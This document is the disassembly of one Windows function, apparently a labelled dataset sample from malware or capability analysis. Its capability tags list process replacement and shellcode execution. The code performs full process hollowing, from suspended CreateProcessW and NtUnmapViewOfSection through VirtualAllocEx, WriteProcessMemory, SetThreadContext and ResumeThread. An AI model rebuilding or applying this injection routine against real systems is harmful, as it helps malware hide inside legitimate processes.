Function at 0xcf078
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
mov eax, 0xd3c30
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x70
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x74], eax
cmp word [eax], 0x5a4d
jne 0xcf226
mov ebx, dword [eax + 0x3c]
add ebx, eax
mov dword [ebp - 0x18], ebx
cmp dword [ebx], 0x4550
jne 0xcf226
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
rep stosd dword es:[edi], eax
mov esi, dword [ebp + 0x10]
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
lea eax, [ebp - 0x60]
push eax
xor edi, edi
push edi
push edi
push 4
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0xcf226
push 4
push 0x1000
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x70], edi
mov dword [edi], 0x10007
push edi
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0xcf226
push 0
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0xcf226
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebx + 0x34]
jne 0xcf15e
push eax
push dword [esi]
call dword [ebp - 0x78]
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ebx + 0x34]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
test eax, eax
je 0xcf226
push 0
push dword [ebx + 0x54]
push dword [ebp + 0xc]
push eax
push dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
test eax, eax
je 0xcf226
xor eax, eax
mov dword [ebp - 0x64], eax
movzx ecx, word [ebx + 6]
cmp eax, ecx
jge 0xcf1da
lea eax, [eax + eax*4]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x3c]
lea eax, [edx + eax*8]
lea eax, [eax + ecx + 0xf8]
mov dword [ebp - 0x68], eax
push 0
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add edx, ecx
push edx
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x6c]
push eax
push dword [esi]
call edi
inc dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
jmp 0xcf19e
push 0
push 4
lea eax, [ebx + 0x34]
push eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esi]
call edi
test eax, eax
je 0xcf226
mov ecx, dword [ebx + 0x28]
add ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
mov dword [eax + 0xb0], ecx
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0xcf226
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0xcf226
mov al, 1
jmp 0xcf22c
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret